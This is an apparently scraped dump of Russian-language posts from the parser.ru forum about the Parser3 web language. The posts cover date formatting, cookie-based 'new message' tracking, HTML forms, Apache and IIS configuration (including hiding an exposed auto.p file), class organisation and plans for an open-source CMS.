# ^mysql2date[2002-06-29 13:35:00;;yes] возвращает строку 29.06.2002 13:35\
# ^mysql2date[2002-06-29 13:35:00;yes;yes] возвращает строку 29 июня 2002 13:35\
# вместо \"yes\" можно использовать любую строку - проверяется просто def/undef\
\
$month[^table::create{num	name	name_r\
1	январь	января\
2	февраль	февраля\
3	март	марта\
4	апрель	апреля\
5	май	мая\
6	июнь	июня\
7	июль	июля\
8	август	августа\
9	сентябрь	сентября\
10	октябрь	октября\
11	ноябрь	ноября\
12	декабрь	декабря}]\
\
^if(def $mysql){\
	$dt[^date::create[$mysql]]\
	^if(def $full){\
		^if(^month.locate[num;$dt.month]){\
			$d[$dt.day $month.name_r $dt.year]\
		}\
	}{\
		$d[${dt.day}.^eval($dt.month)[%02u].$dt.year]\
	}\
	^if(def $with_time){\
		$result[$d $dt.hour:$dt.minute]\
	}{\
		$result[$d]\
	}\
}{\
	$result[]\
}[/code]"
"20270","Вот это\
[code]\
	^if(def $with_time){\
		$result[$d $dt.hour:$dt.minute]\
	}{\
		$result[$d]\
	}\
[/code]\
на вот это\
[code]\
        ^if(def $with_time){\
                $result[$d ^eval($dt.hour)[%02u]:^eval($dt.minute)[%02u]]\
        }{\
                $result[$d]\
        }\
\
[/code]"
"20271","Ок. Если это хранить в бд - то должна быть жесткая привязка и авторизация юзеров.\
Вот допустим в этом форуме не все авторизованы, когда пишут сообщения.\
\
Т.е. опять же надо исходить из задачи и условий. Идеальную же систему не сделаешь)"
"20272","Т.е. собрать сам парсер можно, а вот собрать к нему библиотеку MySQL не удается, как не удается собрать и libxml (и иже с ним)..."
"20274","Можно попробовать сделать комбинированную систему cookie/db\
\
Приоритетом пользуется база\
\
Вот можно сказать и идеала достили ;)"
"20275","У меня ошибка Internal Server Error.\
1. Где и как мне поставить бит «executable»?\
2. Как мне закачать исполняемый файл на сервер в режиме binary? \
\
В заранее благодарен."
"20276","знаю, но мне код нужен: я полный чайник в Java-Scripting :(."
"20280","т.к. я написал\
\
[code]\
\
#Проверяем данные из формы на существование\
#если данные в форме отсутствуют подставляем\
#уже существующие значения в таблице\
$name[^if(def $form.name){$form.name}{$users_tmp.name}]\
$f_name[^if(def $form.f_name){$form.f_name}{$users_tmp.f_name}]\
$o_name[^if(def $form.o_name){$form.o_name}{$users_tmp.o_name}]\
$day_r[^if(def $form.year && def $form.month && $form.day){^if($form.year<10){0$form.year}{$form.year}-^if($form.month<10){0$form.month}{$form.month}-^if($form.day<10){0$form.day}{$form.day}$form.day}{$users_tmp.day_r}]\
$tel_1[^if(def $form.tel_1){$form.tel_1}{$users_tmp.tel_1}]\
$tel_2[^if(def $form.tel_2){$form.tel_2}{$users_tmp.tel_2}]\
$tel_3[^if(def $form.tel_3){$form.tel_3}{$users_tmp.tel_3}]\
$e_mail[^if(def $form.e_mail){$form.e_mail}{$users_tmp.e_mail}]\
$work_status[^if(def $form.work_status){$form.work_status}{$users_tmp.work_status}]\
$body[^if(def $form.body){$form.body}{$users_tmp.body}]\
[/code]"
"20281","ещё небольшой вопрос как извлекать данные из формы из списка\
19<select name=\"year\" size=1>\
		^for[year](0;99){ \
		^if($year<10){<option>0$year}{<option>$year}}\
	  </select>"
"20282","... но вобще есть http://www.parser.ru/docs/lang/?formtables.htm"
"20283","[code]\
<script>\
function on(){document.comm.opencl.disabled=false;}\
function off(){document.comm.opencl.disabled=true;}\
</script>\
[/code]\
<form name=form>\
<input type=radio name=opencl checked onclick=\"off()\">Открыт\
<input type=radio name=log onclick=\"on()\">Закрыт\
Когда откроется?\
<input name=when disabled=true>\
\
////\
\
Я правильно понял?"
"20284","ошибочка"
"20285","Кусочек HTML формы\
\
[code]\
	<td><select name=\"month\" size=1>\
			<option value=\"01\" selected>Январь</option>\
			<option value=\"02\" selected>Февраль</option><br>\
			<option value=\"03\" selected>Март</option><br>\
			<option value=\"04\" selected>Апрель</option><br>\
			<option value=\"05\" selected>Май</option>\
			<option value=\"06\" selected>Июнь</option>\
			<option value=\"07\" selected>Июль</option>\
			<option value=\"08\" selected>Август</option>\
			<option value=\"09\" selected>Сентябь</option>\
			<option value=\"10\" selected>Октябрь</option>\
			<option value=\"11\" selected>Ноябрь</option>\
			<option value=\"12\" selected>Декабрь</option>\
	  </select></td>\
</tr>\
<tr>\
	<td align=\"right\">день:</td>\
	<td><select name=\"day\" size=1>\
			^for[day](1;31){\
			^if($day<10){$day_db[0$day]}{$day_db[$day]}\
			<option value=\"$day_db\" selected>$day_db</option>}\
	  </select></td>\
[/code]\
\
Обработчик данных из формы (я порезал код на куски, а вообще он у меня написан в одну строку)\
\
[code]$day_r[^if(def $form:year && \
                 def $form:month && \
                 def $form:day){\
^if($form:year<10){190$form:year}{19$form:year}-\
^if($form:month<10){0$form:month}{$form:month}-\
^if($form:day<10){0$form:day}{$form:day}$form:day}{}][/code]"
"20288","Я пользуюсь windows commandet / total commander\
\
1. Изменение атрибутов\
\
в верхнем левом углу жмёшь файл -> изменить атрибуты\
дальше сам догадаешься\
\
2. windows commander сам выбирает правильные режимы закачивания"
"20289","...в связи с тем, что есть регистрация/авторизация участников, а форму доступен не только им.\
\
А две даты в куках, наверное, нужно так:\
\
1. приходит посетитель на форум, мы ему пишем куку date1 = nowdate\
2. приходит он следующий раз, мы смотрим есть ли кука date1, если есть, то пишем ее значение в куку date2 а в куку date1 записываем снова nowdate\
3. И смотрим новые сообщения по куке date2\
\
Вроде так?"
"20290","Пишем в базу user_id,session_id,date\
если юзер не зарегистренный выдаем временный user_id, который запоминаем в куке.\
session_id - тот, который только на сессию браузера.\
\
При заходе юзера делаем выборку:\
user_id, date, \
\
где session_id!=текущему session_id,\
order by date, limit(1)\
\
таким образом берем дату последенего захода."
"20291","[code]\
$date_now[^date::now[]]\
\
^if(def $cookie:n_visit){\
^if(def $cookie:l_visit){\
\
$cookie:n_visit[\
$.value[^date_now.sql-string[]]\
$.path[/forum]\
$.expires(30)]\
}{\
\
$cookie:l_visit[\
$.value[$cookie:n_visit]\
$.path[/forum]\
$.expires[session]]\
\
$cookie:n_visit[\
$.value[^date_now.sql-string[]]\
$.path[/forum]\
$.expires(30)]\
}\
$lastvisit[^date::create[$cookie:l_visit]]\
}{\
\
$cookie:n_visit[\
$.value[^date_now.sql-string[]]\
$.path[/forum]\
$.expires(30)]\
\
$cookie:l_visit[\
$.value[$cookie:n_visit]\
$.path[/forum]\
$.expires[session]]\
\
$lastvisit[^date::create[$cookie:l_visit]]\
}[/code]\
\
$lastvisit - сообщения, добавленные после этой даты будут считаться новыми."
"20293","<script>\
function off(){document.form.opencl.disabled=false;}\
function on(){document.form.opencl.disabled=true;}\
</script>\
<form name=form>\
<input type=radio name=button onclick=\"off()\">\
<input type=radio name=button checked onclick=\"on()\">\
Когда откроется?\
<input name=opencl disabled=true>"
"20294","то это у них такая новая политика - не принимают мыла со множества хостов. Парсерюру тоже в блэклисте"
"20295","ПАФ-у, что у меня много еще чего надо дописать до конца месяца(сегодня). Надо, чтобы он это за меня сделал. :)"
"20296","Подскажите, плиз, можно ли проверить написанное на ПХП без загрузки на сервер? Если можно, то как. Зараннее спасибо."
"20299","Лично я проголосовал за, но сейчас подумал, что все-таки стоит сделать опросы только для зарегистрированых пользователей.\
\
А еще я уверен, что с помощью опросов, разработчики смогут собрать много информации, которая поможет непрерывно улучшать парсер.\
\
Хотелось бы услышать мнения проголосовавших отрицательно."
"20300","В .htaccess я указал файл, который должен выдаваться при ошибке 404 но вместо этого файла вылазит: \"user-request(1): ... read failed: No such file or directory (2)\".\
Что делать?"
"20301","сейчас я могу публиковать как опросы, доступные всем посетителям, так и опросы, доступные только зарегистрированным пользователям. к тому же можно задавать порог ответов в форуме, после которого этот опрос становится доступным посетителю.\
\
объясняется это тем, что с моей точки зрения весомее мнение постояных посетителей форума... в частности, текущий опрос доступен не всем посетителям...\
\
\
с другой стороны, я не знаю, зачем нужны опросы вообще и что именно страшивать. именно поэтому я ответил \"нет\". :)\
\
а прикрутил их потому, что уже был готовый модуль, который прикрутить было несложно.\
\
P.S. так же появилась подписка на новости сайта (искать в профайле)..."
"20302","Типа того у меня, только не сразу делаю пункт 2, а сначало проверяю эти две даты на время, чтобы показ новых держался N количество времени."
"20304","Есть сформированный Xdoc. При записи в XML файл получается 2 строки <?xml version=\"1.0\" encoding=\"WINDOWS-1251\" standalone=\"no\"?> и <document>... \
Можно ли, чтобы файл приобрел древовидную структуру? Т.е.:\
<node>\
  <node>\
  </node>\
</node> \
Чтобы было удобно читать, отступы и т.п.?"
"20312","[code]\
$hash[^table.hash[key;\
   $.distinct[tables]\
]]\
[/code]"
"20313","для поддержки разбора почты нужно собирать из исходников.\
сейчас эта поддержка посредственна (проблема с кодировками), поэтому в общее пользование не выложена.\
\
уже писал, почему посредственна."
"20314","$now[^date::now[]]\
$now.day<br> ...\
Хотелось бы с нулями дату... неужели только руками проверять?"
"20315","поэтому самый правильный вариант, это делать rewrite.\
и url красивый, и имя правильное предложится (возьмётся из url)."
"20316","$date[1]\
^date.format{%02d}\
\
Выдаст 01\
\
$date[12]\
^date.format{%02d}\
\
Выдаст 12"
"20317","#./configure --disable-safe-mode\
#make\
\
Making all in include\
Making all in main\
make: don't know how to make pa_common.@OBJEXT@. Stop\
*** Error code 1\
\
Stop in /usr/home/illya/distr/parser/src.\
\
Где грабли?"
"20318","спасибо"
"20319","пишу класс, в котором достаточно много методов и хранить их все в одном файле - тяжело для чтения. Как можно разложить код класса по нескольким файлам?"
"20321","это планы. уже высказывался."
"20322","в unix регистр имён важен. в win32 нет."
"20324","Подскажите выражение, определяющее, попадает ли строка, допустим, $form:login под условие a..z,A..Z,0-9,_ ?"
"20328","разбиваем как надо, потом в нужном файле подключаем требуемые файлы через file::load и всё их содержимое пихаем куда надо. Но это, через зад. Лучше ещё подумать - например можно один большой класс разбить на несколько, используя наследование, но тут однозначного рецепта нет."
"20329","Такая возможность требуется достаточно часто.\
На мой взгляд, в файле, где больше 200 строк кода уже не очень удобно разбиратся."
"20330","В заголовочном файле WinError.h более 21000 строк кода и ничего, разбираются ведь :)\
\
PS: И только вот не надо на Microsoft бочку катить, там люди тоже не дураки."
"20331","Миш, select'ить один вариант ответа по умолчанию - нехорошо. В социологии и маркетинговых исследованиях это называется \"эффект интервьюера\", я тебе как специалист говорю)))"
"20332","а я говорю, что на вебе если есть radio то один должен быть отмечен :)"
"20333","При применении REWRITE:\
обычно тип .avi зарегистрирован за каким либо проигрывателем и при нажатии на ссылку он автоматом загружается в проигрыватель, а надо чтоб открывалось окно с предложением сохранить файл.\
Вот что написано в документации \
[quote]\
$response:download[DATA]    \
\
Идентичен $response:body, но выставляет флаг, который браузер воспринимает как «Предложить пользователю сохранить файл на диске». \
\
\
[/quote]"
"20334","я не говорю, что 200 строк - это что-то нереальное. Я говорю, что это уже не очень удобно. А MS меня мало в этом плане интересует :). Если они делают так, значит им так удобно. А вот мне не очень - ищу решение."
"20335","только имя, как я понял, иногда понимает, иногда нет.\
rewrite решит проблему имени.\
$response:download [b]уже решает[/b] проблему подавления автопроигрывания."
"20336","эти 21000 строк компилится или точнее препроцессится,\
а это несколько отличается от наших технологий :-)\
\
так шо параллель тут не уместна :-)"
"20337","Может и неудачная параллель. А я бы чокнулся разбираться в таком файле.\
\
PS: Зашел поглядеть этот файл в VS .NET там уже почти 27000 строк"
"20339","class_file_1_function_x\
class_file_2_function_y\
class_file_3_function_z\
class_file_4_function_q\
...\
..\
."
"20341","Приведите пож. пример кода. и что надо прописать в rewrite."
"20342","rewrite напишете, глядя в доку."
"20343","Необходимо сделать программно при формировании xdoc и после формирования, я не знаю когда и где :). Что подразумевается под спецификацией - спецификация к парсеру или xml. Если к парсеру, то спецификации не видел, видел лишь хелп. Разъясните пожалуйста."
"20344","имелась в виду спецификация XML"
"20345","вот пишу в глобальном конфиге :\
\
 Action parser3-handler /usr/local/bin/parser3\
 в конфиге виртуального сервера\
 AddHandler parser3-handler html\
 ничего не работает пишет :\
 The requested URL /usr/local/bin/parser3/index.html was not found  on this server.\
\
 в ErrorLog виртуального сервера :\
 File does not exist:\
 /home/httpd/html/public_html/pavlo/www/usr/local/bin/parser3/index.html\
\
Я осознаю что в данном случае пишу неправильный Action.\
\
Вопрос в том  как прописать parser  на сервере \
что была она копия бинарного файла  для всех сайтов ?\
\
И пользователи которым нужен парсер \
 легко включали обработку html парсером  через .htaccess ?"
"20346","ибо чтобы было совсем удобно разбираться, а также вносить изменения в последующем, нужно инкапсулировать все, что изменяется, а это само собой приводит к разбиению на доп. классы. И количество строк в одном отдельно взятом файле сокращается. К тому же код имеет тенденцию сокращаться, если еще разок над ним подумать и оптимизировать :)\
Кроме шуток, если не нравятся новые объекты - можно вынести вспомогательные методы в другие классы и подключать их как статические. Это самый простой путь. В методе, который длинный - в начале ^use[path_to_this_class] и далее ^this_class:method[param]"
"20347","Так как она должна быть собрана без [b]Safe mode[/b]? что чревато последствиями.\
Скрипт одного пользователя сможет изменить файлы другого пользователя.\
\
P.S. Если я не прав поправьте меня."
"20349","Извините, что отнимаю у вас время, но я нигде не могу найти доходчивое пояснение кто такой кодер и технолог. Везде искал -- не нашел.\
\
http://parser2.parser.ru/jargon/ уже смотрел, и это тоже\
http://parser2.parser.ru/forum/message_2024.html\
\
Оюъясните, пожалуйста, кого можно называть кодером, а кого технологом, и в чём заключается их работа.\
\
Заранее благодарю."
"20350","а технолог это чуть побольше...\
\
это человек, обладающий знаниями кодера +\
\
- достаточно хорошо понимающий, что такое SQL (как писать сложные запросы, как их оптимизировать, что такое индексы и т.д.)\
\
- достаточно хорошо понимающий, что такое веб сервер (включая его расширения типа rewrite engine), как происходит обмен данными между сервером клиентом, где появляются куки, элементы формы, что можно реализовать какими средствами (для чего лучше использовать parser, для чего стоит вызвать внешнее приложение, а что нужно делать средствами js).\
\
- самое главное, это тот, кто при возникновении задачи/проблемы знает где искать её корни (знает и использует адреса типа google.com, ya.ru, умеет пользоваться поиском и знает где живут F*cking Manuals), и который не дергает ПАФ-а по пустякам :-)))\
\
P.S. все это мое IMHO ;)"
"20351","Скрипт одного пользователя может изменить файлы другого пользователя и без Parser, если другой пользователь это разрешает командой chmod."
"20352","Я имел в виду сам XML, чтобы в блокноте(а не в IE например) было видна структура, это можно сделать какими-нибудь настройкими парсера?"
"20355","Доработай пож.  форум.\
Проблема в том что надоело сообщение, что страница устарела и просит нажать кнопку обновить.\
Это происходит в следующий момент.\
1. Ввожу свой логин и пароль.......\
2. сразу после этого читаеш любое сообщение\
3. жмешь кнопку назад, и вот оно это сообщение о просьбе нажать \"Обновить\""
"20356","ну какая разница где парсер лежит.\
запускаться все равно будет от конкретного пользователя.\
\
точнее должен....видимо парсер на такое и не расчитан."
"20357","простой вариант: synlink.\
другой:\
средствами apache добавить ещё один каталог со скриптами:\
[code]\
Alias /common-cgi-bin /full/path/to/common/cgi-bin\
Action parser3-handler /common-cgi-bin/parser3\
AddHandler parser3-handler html\
[/code]\
http://httpd.apache.org/docs/mod/mod_alias.html#alias\
\
средствами apache в cgi-bin добавить один файл из другого места http://httpd.apache.org/docs/mod/mod_alias.html#scriptaliasmatch"
"20358","Осуществляется попытка вернуться на страницу, на котору был осуществлен POST из формы. Любой браузер на это продложить сделать resend данных.\
\
Самый простой выход из этой ситуации - воспользоваться широкими возможностями навигационного меню - или ссылка \"Форум\" в главном меню (самая правая во второй строке) или ссылка \"Форум\" ровнехонько над именем пользователя, написавшего читаемое сообщение (по центу, в серой полоске между \"команды форматирования\" и формой для логина/лоаута)."
"20359","Есть кусок кода:\
  ^if($body_additional is junction){\
    <td bgcolor=\"#AFD2D4\" valign=\"top\" width=\"200\">\
      ^body_additional[]\
      <p>&nbsp;</p>\
      <p>&nbsp;</p>\
    </td>\
    }{\
     <td bgcolor=\"#AFD2D4\" valign=\"top\" >\
      <p>&nbsp;</p>\
      <p>&nbsp;</p>\
    </td> \
    }\
Ругается так:\
'if' method of MAIN (MAIN) accepts maximum 3 parameter(s)\
В чем беда?"
"20360","Посчитайте число \";\" в этом куске ;-)\
Ненужные эскейпятся \"птичкой\" (\"^\"). RTFM."
"20361","Верно.\
Самое интересное что до появления ^if...\
работало, что и смутило меня."
"20362","nobody:nogroup?\
\
Можно ли под другим?"
"20363","я наверно не ошибусь сказав, что есть клиенты у кого на мышке кроме левой и провой кнопок и колесика существуют еще несколько, вот например у меня по бокам есть еще две, которые работают аналогично кнопкам броузера \"Назад\",\"Вперед\"и на них как-то быстрее нажимаеется чем на ссылку.\
\
Неужели нельзя найти выход из этого положения типа:\
\
#### RELOAD \
@reload[sec;url]\
$response:refresh[ \
   $.value[$sec] \
   $.url[$url] \
] \
\
и после проверки пользователя это вызывать ^reload[0;/forum/] тогда утверждение [quote]Любой браузер на это продложить сделать resend данных[/quote] я думаю, будет ошибочно."
"20364","Очевидно под тем же что и сам апач. А пользователь, от имени которого работает апач, а также группа, задаются в httpd.conf по-умолчанию это nodody:nogroup, однако это можно изменить."
"20365","Подскажите пож. как перевести дату которая хранится в базе в UNIX формате (количество сек. с начала эпохи) к нормальному виду.\
Предложения хранить в формате SQL не принимаются."
"20366","Народ, что делать.\
Если я напишу в браузере http://ipadress/auto.p\
то весь файл auto.p отображается в броузер - там же все пароли и все такое.\
\
Сервер Win2k AS, IIS 5.0"
"20369","а как это сделать"
"20370","использовать NTFS для защиты"
"20371","т.к. в них нет main, а если и есть, то он паролей не печатает."
"20372","что то ни черта не получается. Может подскажете какие надо права выставить на файл что бы он не откравылся в браузере"
"20373","Ну очевидно нужно просто запретить доступ к файлу, тому пользователю, от имени которого IIS осуществляет доступ для анонимных пользователей. Обычно это IUSR_<имя_машины>"
"20374","Opera подобного сообщения не выводит и это очень удобно, всегда можно легко вернуться и исправить, хотя не на всех сайтах данные изменения будут адекватно приняты(пример: Яндекс.Пасспорт).\
\
Тем более, что mouse gestures: hold right button and click left button — возвращает назад(думаю, не менее удобно, чем дополнительные кнопки на мыше)."
"20375","Есть такое понятие - \"необратимый процесс\". Так вот POST - процесс необратимый. Его можно только повторить заново, о чем браузер должен предупреждать (по крайней мере, по умолчанию и, желательно, без возможности отключения данного сообщения). Ибо ситуация могла сто раз измениться - на место застарелых данных в кэшах браузера могли попасть новые - а мы их \"лопаточкой\"."
"20377","Я попробовал (закрыл доступ к файлу auto.p для пользователя IUSR_...) у меня получилось и мне при попытке доступа плюнуло:\
\
HTTP 401.3 - Access denied by ACL on resource\
Internet Information Services"
"20380","у нее есть такое понятие как \"rewind\" и именно он работает в случае, если мы делаем back на страничку, на которую только что делали пост.\
\
она возьмет из кеша предыдущий результат. если нужен repost - back а затем reload.\
\
лично мне её поведение в этом смысле очень нравится (и forward-ов у нее несколько...)"
"20382","http://www.parser.ru/forum/?id=20381"
"20384","Ибо под MacOSX совсем недавно появилась удобоваримая Опера, а к этому моменту уже был Safari. Да и работает Safari быстрее Оперы на маке ;-)"
"20385","тогда какой смысл вообще создавать классы?\
почему просто не создать группы операторов с названиями, из которых видно, к какому классу бы они относились, если бы были именно классы?\
Например, есть класс news\
@CLASS\
news\
\
@details[]\
...\
\
@list[]\
...\
\
@add[]\
...\
\
его можно заменить набором операторов:\
@news_details[]\
@news_list[]\
@news_add[]"
"20386","насколько я знаю, на Mac есть только Opera 6 (именно с ней я сравниваю в заголовке Safari), у нее ничего этого кажется нету, но repost она тоже не делает."
"20387","Насколько я уяснил, на данный момент не существует (или не нашел) готовых CMS-систем на базе Parser?\
Сейчас выбираю подобную систему для 2-3 сайтов.\
Мне нравится язык Parser, нравится его связки с XML, базами данных, но, как мне кажется, на данный момент он ориентирован на web-программистов, но не на владельцев сайтов, которым необходима хоть какая-то CMS-система (желательно хорошая :) для старта и возможность дописывать/заказывать необходимые модули тем же web-программистам.\
Мне кажется, что существование/создание минимальной CMS-системы способствовало бы популярности языка.\
\
Айрат Галимов"
"20388","хотя возможно все равно стОит сделать refresh чтобы хоть от проблемы одного back избавиться..."
"20389","а никто и не заставляет пользоваться ими :) Только это удобно и часто жизненно необходимо в больших системах.\
\
Hello world например, лучше без классов делать, можно даже не сомневаться :)"
"20390","все равно что то не то.\
Когда пишешь http://host_name/auto.p то нормально access denied,\
а когда http://ip_address/auto.p то опять весь файл выводится в броузер"
"20391","По-умолчанию, в IIS разрешен анонимный доступ, а также авторизованный доступ с аутенфикацией NT. Видимо при заходе по IP начинает работать 2-й вариант.\
\
Я попробовал, - у меня один хрен что по IP что по DNS всегда шиш. Как вариант - убрать всякий доступ кроме анонимного и попробовать."
"20392","Имприматур :)"
"20393","Что то все равно не то. \
В iis стоит только anonymous access. А файл все равно виден"
"20396","В общем какая то странная картина получается.\
Есть 2 сайта(Site1 и Site2) на одно и том же ip и порту.\
Когда я стоплю в iis Site2 и набираю http:/Site2 то вываливается Directory listing denied. \
Т.е. получается что сайт как бы все равно доступен.\
Набираю в броузере http://Site2/index.html и мне в броузер выводится содержимое файла index.html но не пропарсеное а чистый Parser код и html код.\
Ни фига что то я не понимаю в чем дело. \
Люди добрые помогите срочно"
"20397","ознакомился с несколькими идеями и дводами по этому поводу, и понял, что в том, что [b]CharsetDisable On[/b] есть как хорошие стороны так и плохие ..\
\
Может кто это для себя уже как-то оправдал?"
"20398","А можно ли задавать пользователя и группу только для модуля - и желательно для каждого виртуального хоста своего"
"20400","С модулем то будет работать?"
"20401","Просто $request:charset не имеет отношения к Accept-Charset/Accept.\
\
Перекодировку, кстати, можно реализовать с помошью того же прасера, причем - достаточно легко: анализируем один или несколько параметров (порт, Accept-Charset, User-Agent, расширение и т.д.) и выставляем $response:charset.\
\
В качестве инфы о том, что можно анализировать - http://apache.lexa.ru/internals.html"
"20402","У меня ядро (Parser+MySQL) почти готово. Есть:\
установка\
авторизация\
пользователи (регистрация и операции с ними)\
простая пока что система прав\
Предполагается мультиязычность (перевод нескольких файлов), полностью модульная система с возможностью создания порталов либо абсолютно разных по стилю представительских сайтов, т.е. темы.\
\
Еще хочу сделать раздельное кэширование статических блоков, скрипт для управления и бэкапа MySQL, в которой все и хранится. получается просто и понятно, но из-за института времени нет почти. Скоро куплю slyworks.org.ru (постараюсь). Если кто может помочь с хостингом на начальном этапе или стать соавтором, пишите: mail2den@mail.ru.\
\
Мечта есть сделать русский open source проект с великолепной документацией и строгой стандартизацией."
"20403","Типа такого $tab.field[NULL]. Или это в принципе не возможно ?"
"20406","Если имеет значение для MySQL\
Язык я понимаю в основном русский, английский тяжеловато :(\
ОС принципиального значения не имеет.\
\
Заранее благодарю"
"20407","Если имелись ввиду CASE инструменты, то я пользуюсь Visio. Раньше 2000 с недавних пор 2002, в последнем появилась очень полезная фича автоматической генерации кода создания таблиц из ERD диаграмм.\
\
Я пробовал Erwin но мне он не понравился - он хоть и мощнее, но и сложнее, а мне лишняя сложность ни к чему."
"20408","Я - думая головой, и записывая на листочке предполагаемые поля и связи меж ними, потом беру MySQL-Front(смотреть линки на сайте egr`a - http://egoroff.spb.ru/)(2egr: ну не глянулсь мне DBTools, тем более PG не использую) и делаю, что мне нужно уже на сервере.\
Пока нареканий не было - софт этот под Win32, под *nix - это уже пусть другие напишут.\
\
НО(sic!) чтения док это не отменяет, хотя бы того же Дюбуа. Да и на сайте MySQL-dot-com есть дока на русском, есть и вариант на русском для скачки."
"20409","... но пока ещё не оформилось. Очень много слышу о том, что пишут систему и хотят открыть код. Сам тоже этим занимаюсь, пишу и хочу :))) С огромным удовольствием бы объединил усилия. Есть свой хостинг, свой домен, наработки. Дело за малым :))) координацией и управлением. Да, народу у которого есть хоть что-то - много, нужно отобрать лучшее, а как?"
"20410","вполне неплох"
"20411","Есть иерархический список разделов (документов сайта), данные которых хранятся в таблице MySql(id, нименование и ссылка на родителя). Нужно организовать поиск по шаблону, пробегая по этому дереву, чтобы любую вершину можно было сделать корневой и не пробегать все файлы. По-крайней мере нужен скрипт, который будет забивать содержимое html-страницы в некоторую таблицу, да и какаой оптимальный алгоритм поиска по шаблону предложите ? Заранее благодарен."
"20412","Нет, с модулем работать не будет."
"20413","Причины в общем очевидны.\
\
Чтобы child apache в принципе мог сменить эффективного пользователя на другого, то этот apache child должен работать от root, что уже не хорошо (обычно сразу после bind к портам и открытия логов apache меняет свой uid на прописанный в конфиге, именно чтобы не работать от root).\
\
Если apache child сменит имя пользователя скажем на vasya для виртуального хоста vasya.ru, то получится, что этот apache child  может обслуживать запросы только на vasya.ru (сменить пользователя с vasya на petya очевидно нельзя). А apache работает так, что очередной запрос обрабатывается случайным из свободных процессов.\
\
То есть рабочий вариант - запускать разные apache для каждого хоста. Но для этого надо, чтобы они были на разных IP."
"20414","Да, в свободном доступе я не видел сабжа.\
Хотя, признаться, не сильно искал...\
После того, как я просмотрел кучу разных ЦМС не на парсере, то понял, что ни одна мне не нравится. Не нравятся с точки зрения юзабилити. Так как Имприматур свободно не распространяется :)) я решил сам заняться написанием ЦМС, и понял, что не так сложно написать работающий код, как сделать ЦМС удобной для чайника-пользователя. По моему глубокому убеждению, плоха та ЦМС, где юзеру надо какой-то код писать, ну и т.п., вседолжно быть логично и просто.\
\
Сейчас тестирую на чайникосовместимость свою ЦМС, а там видно будет, может и открою, нет наверняка открою...\
\
Сорри за многословность."
"20415","Вам нужен MS URLScan - эта штука позволяет запрещать доступ к файлам с определённым расширением. Подключается как модуль ISAPI"
"20417","Givi не путай товарища, товарищ не может просто разобраться со своим IIS, а ты ещё больше проблему усугубляешь."
"20421","Собственно тока начинаю изучать парсер. ВОзник вопрос как использовать регулярные выражения. То есть насколько я понимаю текст проходит обработку до записи в базу данных, а в базе уже стоит отформатированный текст. \
\
Подскажите пожалуйста как правильно использовать выражения, если возможно с куском кода.\
\
Поиском по форуму пробовал в копилке был, но так толком ничего и не нашел :("
"20422","да ... действительно :)\
этож Парсер!\
\
(и вопрос этот у меня возник когда пришлось написать одну фень на пхп, где важно было определить кодировку в которой сервер будет отдавать страницу, в результате пришлось использовать фиксированную кодировку, потому как лень и не видно собого смысла в разборе всех параметров влияющих на результирующую кодировку)"
"20423","Хостинг - это не вопрос. Вопрос в том, что открывать код сам по себе никакого смысла нет. Польза от открытия кода будет только тогда, если есть документирование архитектуры, интерфейсов классов и объектов данных, и собственно архитектура правильная, с использованием паттернов, отделяющих изменения абстракции от изменения реализаций - ориентированная в первую очередь на внесение изменений и возможность версий специфических. Чтобы можно было легко и просто настраивать под собственную специфику и привычки - не трогая кода модулей функционала (для модулей это тоже справедливо, там такой же механизм должен быть). И вносить произвольные изменения в пользовательский интерфейс, естественно - только на уровне xslt. ИМХО, если объединять усилия - нужно начинать не с кода, а с общего проектирования. Собственно, чем я и занят в данный момент :) А открывать код движка, которым я сейчас пользуюсь - не вижу смысла. Ибо там ошибки именно в проектировании."
"20424","ну очень не люблю пункты меню типа 'Файл' или разбираться с тем, как переводчики вдруг перевели те или иные не знакомые им, но прекрасно знакомые другим [b]термины[/b]...\
\
доки есссно на сайте производителей программ (для mysql это mysql.com) где как уже сообщили есть и русскоязычная дока, но читать её все таки стоит не для того, чтобы понять очень тонкие ньюансы... в ней я встречал ляпы.\
\
а по поводу записывания на листочке... до каких-то пор это прокатывает, но когда база становится больше N табличек, когда в процессе её создания понимаешь что нужно что-то кардинально переделать из-за появившихся новых деталей, то листочек не катит.\
\
к тому-же всегда есть возможность добключаться непосредственно к sql серверам, нажатием пары кнопок сгенерить базу, если приспичит - сделать reverse engeneering, иметь перед глазами картинку с визуально проставленными связями и [b]комментариями[/b], что в случае подключения новых участников к проекту очень сильно облегчает всем жизнь."
"20425","Есть несколько файлов с методами различных классов. Необходимо сформировать супер класс, который будет объединять все соответствующие методы классов, например метод add, супер класса, будет содержит методы add включаемых классов и т.д. Подскажите pls, как это можно сделать?"
"20426","есть код:\
[code]\
^if(^list_st.locate[id;$list_dom.street_id]){$st[$list_st.name]}$st\
[/code]\
нормально ищет название улицы по ID и выводит.\
\
есть еще один(пришлось закомментить):\
[code]\
$list_dom[^table::sql{select id, street_id, num_dom from dom}]\
$list_st[^table::sql{select id, name from street}]\
$st[^list_st.select(${list_st.id}==${list_dom.street_id})]$st\
[/code]\
этот код выдает:\
\"contains illegal assignment ...\""
"20427","Я в некотором роде юзабилист как раз - но в силу обстоятельств CMS себе сам пишу. Вроде бы о юзабилити я знаю достаточно, чтобы ляпсусов в фейсе не делать - но в одном лице программер и юзабилист в рамках одного проекта вместе не живут. Вот тут может быть реальная помощь друг другу - выступая юзабилити-тестерами ЧУЖОГО интерфейса."
"20428","потому как всё делается наоборот - классы потомки наследуют от родительского класса, и если надо то и переопределяют методы.\
\
Если делать так как вы хотите - малейшее изменение в коде одного из методов класса, может легко сказаться на работоспособности суперкласса, потому как другие методы вызываемые в это классе, такого не ожидают."
"20429","http://www.parser.ru/docs/lang/stringmatch.htm"
"20431","Сообщение с длинным URL в заголовке удалено.\
Дублирую на всякий случай:\
\
http://www.microsoft.com/downloads/details.aspx?FamilyID=12244f33-a5da-4203-a3a8-83f4388bb71f&DisplayLang=en\
\
Там документация должна быть ещё"
"20433","У меня такое ощущение что нет."
"20434","Опишу ситуацию чуть глубже. Есть наборы свойств, каждое свойство представляет собой класс со своими данными и методами. Необходимо сформировать супер класс - список свойств, в который могут добавляться свойства и удаляться из него динамически. Подскажите как можно обеспечить такую функциональность."
"20436","http://www.parser.ru/forum/?id=19065\
\
P.S. Уже давно хотят sp1 выпустить. Ждемс..."
"20438","но если этих locate много, то это плохо. лучше создать дополнительно хеш, и делать по нему лукапы, которые быстрее..."
"20439","Давайте выберем место (форум), где каждый опишет или нарисует свою архитектуру, а мы раскритикуем и внесем предложения, а потом уже начнем ляпать модули и все остальное.\
\
Лично я хотел по-тихому написать систему и продавать, но так усилий и времени на думки больше надо. Дайте мне путевый хостинг, и я начну организовывать проект."
